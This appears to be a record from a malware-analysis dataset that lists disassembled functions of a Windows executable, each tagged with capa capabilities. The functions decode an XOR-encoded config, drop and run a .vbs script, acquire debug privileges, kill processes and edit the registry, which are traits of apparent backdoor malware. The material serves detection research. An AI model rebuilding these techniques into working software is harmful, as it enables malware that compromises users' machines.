joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4054d3
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x20c
lea eax, [ebp - 0x620]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x416968
push 0x4192fc
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 0x14
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x405539
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0xfffffffffffffffc
push ebx
call esi
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push 4
lea eax, [ebp - 8]
push 1
push eax
call edi
add esp, 0x1c
cmp dword [ebp - 8], 0
jne 0x405540
xor al, al
jmp 0x4056fb
mov eax, 0xfffffdf4
push 2
sub eax, dword [ebp - 8]
push eax
push ebx
call esi
push ebx
push 0x208
lea eax, [ebp - 0x620]
push 1
push eax
call edi
push 2
push 0xfffffffffffffffc
pop eax
sub eax, dword [ebp - 8]
push eax
push ebx
call esi
push ebx
push 4
push 1
push 0x416504
call edi
push 4
lea eax, [ebp - 0x620]
push 0x416508
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0x44
test eax, eax
jne 0x4056f1
mov esi, 0x200
push esi
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
cmp byte [ebp - 0x15], 0
mov eax, 0x1ff
jne 0x4055db
dec eax
cmp byte [ebp + eax - 0x214], 0
je 0x4055cc
test eax, eax
jl 0x4055eb
mov cl, byte [0x416500]
xor byte [ebp + eax - 0x214], cl
dec eax
jns 0x4055db
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov dword [ebp - 4], 0x418ce0
lea eax, [ebp - 0x214]
push 0x21
push eax
call edi
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
pop ecx
je 0x4056ee
push esi
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x214]
sub eax, ecx
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x414]
push 0x40
push eax
call edi
add esp, 0x20
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4056ee
lea ecx, [ebp - 0x414]
sub eax, ecx
push eax
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 4]
add eax, 0xffffff00
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [ebp - 0x10]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 0x104
add esp, 0x10
cmp dword [ebp - 4], 0x4193fc
mov dword [ecx], eax
jge 0x4056ee
push esi
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0xc
inc eax
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
push esi
lea eax, [ebp - 0x214]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
lea eax, [ebp - 0x214]
push 0x21
push eax
call edi
pop ecx
pop ecx
jmp 0x4055f8
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4059bf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
xor esi, esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
call fcn.00406601
push 0x104
push 0x4192fc
push esi
mov dword [0x419404], edi
call dword [0x419558]
push esi
push esi
push 0x405700
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov edi, 0x7f00
mov dword [0x419608], eax
mov eax, dword [0x419404]
push edi
push esi
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x40], 0x405974
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push edi
push esi
mov dword [ebp - 0x30], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push esi
mov dword [ebp - 0x2c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
mov edi, str.vs2010
push eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], edi
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x405ad8
push esi
mov eax, connect
push dword [0x419404]
push esi
push esi
push eax
push eax
push eax
push eax
push 0xcf0000
push str.The_Window
push edi
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push esi
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
call edi
test eax, eax
je 0x405ad8
push 0x64
push dword [0x419400]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405ad8
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
jmp 0x405aa0
pop edi
pop esi
leave
ret
Function at 0x406166
Capabilities:
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x1cb]
mov byte [ebp - 0x1cc], bl
push str.GetModuleFileNameA
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1cc]
push 0x104
push eax
push str._temp__tempS.vbs
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x31
xor eax, eax
pop ecx
lea edi, [ebp - 0xc7]
mov byte [ebp - 0xc8], bl
push str.set_sCreateObject__wscript.shell____rs.Run__
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc8]
push 0x41960c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc8]
push str.___0__TRUE_r
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1cc]
push 0x416ac4
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x20
cmp esi, ebx
je 0x406244
push esi
lea eax, [ebp - 0xc8]
push 1
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret

Function at 0x4062dc
Capabilities:
Acquire debug privileges
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
cmp byte [esp + 4], 1
jne 0x406305
push 1
push str.SeDebugPrivilege
call fcn.00406261
pop ecx
pop ecx
call fcn.004059bf
push 0xffffffffffffffff
push dword [0x419608]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ret
jmp fcn.00406166

Function at 0x4066a4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x406640
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x406856
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4068c2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp + 8]
push esi
neg eax
sbb eax, eax
push esi
and eax, 2
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x40db50
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x20
test eax, eax
push ebx
push ebp
push esi
push edi
mov esi, ecx
je 0x40dbbb
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40dbbb
call fcn.0040e0d0
lea eax, [esi + 4]
push 1
push eax
mov ecx, esi
mov dword [esi + 0x20], 0
call fcn.0040df10
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.user32.dll
call ebp
mov edi, eax
test edi, edi
je 0x40dbbb
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetCursorPos
push edi
call ebx
test eax, eax
jne 0x40dbc7
push eax
push eax
push str.fufk
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
lea ecx, [esp + 0x14]
push ecx
call eax
lea edx, [esp + 0x14]
push 8
push edx
mov ecx, esi
call fcn.0040df10
push str.GetCursorInfo
push str.user32.dll
mov dword [esp + 0x24], 0x14
call ebp
push eax
call ebx
test eax, eax
je 0x40dbfe
lea ecx, [esp + 0x1c]
push ecx
call eax
lea edx, [esp + 0x13]
push 1
push edx
mov ecx, esi
mov byte [esp + 0x1b], 0xff
call fcn.0040df10
mov ecx, dword [esp + 0x18]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x41987c]
cmp ecx, eax
mov edi, edx
je 0x40dc3e
push edi
mov ecx, esi
call fcn.0040dcd0
test al, al
je 0x40dc3e
add edi, 0x13
jmp 0x40dc41
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x40dc5f
push edi
mov ecx, esi
call fcn.0040dcd0
test al, al
je 0x40dc55
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x40dc46
mov eax, dword [esp + 0x18]
mov ecx, 0x13
mov dword [0x41987c], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
mov eax, dword [esp + 0x34]
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [eax], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x40dcaf
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x40dc9e
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x40ee30
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x41368c
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x40ee83
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40ee8d
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40ee97
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40eea1
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.00406588
pop edi
pop esi
ret
Function at 0x40f2f0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x510
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [esp + 0x520]
push edi
mov dword [esp + 0x10], ecx
push esi
call ebp
mov edi, eax
inc edi
lea ebx, [edi + esi]
push ebx
call ebp
add eax, edi
lea ebp, [eax + esi + 1]
push ebp
push ebx
push esi
push str.aa__s_n_s_n_s_n
call dword [sym.imp.MSVCRT.dll_printf]
mov ecx, dword [esp + 0x20]
add esp, 0x10
push esi
call fcn.0040faf0
test eax, eax
mov dword [esp + 0x10], eax
jne 0x40f34f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x510
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x120]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f396
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x120]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
lea edx, [esp + 0x128]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f460
mov ecx, 0x3f
lea edi, [esp + 0x21]
mov byte [esp + 0x20], al
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0xff
stosw word es:[edi], ax
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, 1
jne 0x40f422
push str.reg_sz_n
call dword [sym.imp.MSVCRT.dll_printf]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
add esp, 4
push edx
push ebp
push 1
push 0
push ebx
push eax
call esi
cmp dword [esp + 0x1c], 4
jne 0x40f455
push str.reg_dword_n
call dword [sym.imp.MSVCRT.dll_printf]
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [esp + 0x1c]
add esp, 8
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push 4
push ecx
push 4
push 0
push ebx
push edx
call esi
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x510
ret 8
Function at 0x40f470
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x404
push ebx
push esi
mov esi, dword [esp + 0x410]
push edi
mov edi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push str._s_n_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
mov ecx, edi
push esi
call fcn.0040faf0
mov ebx, eax
test ebx, ebx
jne 0x40f4b4
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x404
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x10]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f4f5
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x40f510
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x404
ret 8

Function at 0x40f5e0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x408
push ebx
push ebp
push esi
mov esi, dword [esp + 0x418]
push edi
mov ebp, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
inc edi
lea ebx, [edi + esi]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [edi + eax + 1]
mov eax, dword [eax + esi]
push eax
push ebx
push esi
push str._s_n_s_n_d_n
mov dword [esp + 0x24], eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x10
mov ecx, ebp
push esi
call fcn.0040faf0
mov ebp, eax
test ebp, ebp
jne 0x40f640
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x408
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x18]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f681
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push 0xf003f
push 0
push edx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f6bf
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 0
push 4
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x408
ret 8
Function at 0x40f6d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x50c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x51c]
push edi
mov ebp, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
inc edi
lea ebx, [edi + esi]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, edi
lea eax, [eax + esi + 1]
push eax
push ebx
push esi
push str._s_n_s_n_s_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x10
mov ecx, ebp
push esi
call fcn.0040faf0
mov ebp, eax
test ebp, ebp
jne 0x40f72b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x50c
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x11c]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f772
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x11c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x11c]
push ecx
push 0xf003f
push 0
push edx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f7ef
mov ecx, 0x3f
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push 0
push ebx
push eax
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x50c
ret 8
Function at 0x40f800
Capabilities:
Delete registry value

Disassembly:
sub esp, 0x404
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [esp + 0x414]
push edi
mov edi, ecx
push esi
call ebp
lea ebx, [eax + esi + 1]
push ebx
call ebp
push ebx
push esi
push str._s_n_s_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
mov ecx, edi
push esi
call fcn.0040faf0
mov ebp, eax
test ebp, ebp
jne 0x40f850
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x404
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x14]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f891
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push 0xf003f
push 0
push edx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f8c4
mov eax, dword [esp + 0x10]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x404
ret 8

Function at 0x40f8e0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x40c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [esp + 0x41c]
push edi
mov dword [esp + 0x10], ecx
push esi
call ebp
mov edi, eax
inc edi
lea ebx, [edi + esi]
push ebx
call ebp
add eax, edi
lea ebp, [eax + esi + 1]
push ebp
push ebx
push esi
push str._s_n_s_n_s_n
call dword [sym.imp.MSVCRT.dll_printf]
mov ecx, dword [esp + 0x20]
add esp, 0x10
push esi
call fcn.0040faf0
test eax, eax
mov dword [esp + 0x10], eax
jne 0x40f93f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x40c
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40f980
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
lea edx, [esp + 0x24]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f9d0
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [esp + 0x18]
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
push 4
push ecx
push 4
push 0
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x40c
ret 8
Function at 0x40f9e0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x408
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [esp + 0x418]
push edi
mov dword [esp + 0x10], ecx
push esi
call ebp
mov edi, eax
inc edi
lea ebx, [edi + esi]
push ebx
call ebp
add eax, edi
lea ebp, [eax + esi + 1]
push ebp
push ebx
push esi
push str._s_n_s_n_s_n
call dword [sym.imp.MSVCRT.dll_printf]
mov ecx, dword [esp + 0x20]
add esp, 0x10
push esi
call fcn.0040faf0
test eax, eax
mov dword [esp + 0x10], eax
jne 0x40fa3f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x408
ret 8
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x18]
push 0x5c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40fa80
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
lea edx, [esp + 0x20]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40fadf
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x18]
push ebp
push 1
push eax
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40fac6
push str.Add_Reg_Failed_n
jmp 0x40facb
push str.Add_RegKey_ok_n
call dword [sym.imp.MSVCRT.dll_printf]
mov edx, dword [esp + 0x18]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x408
ret 8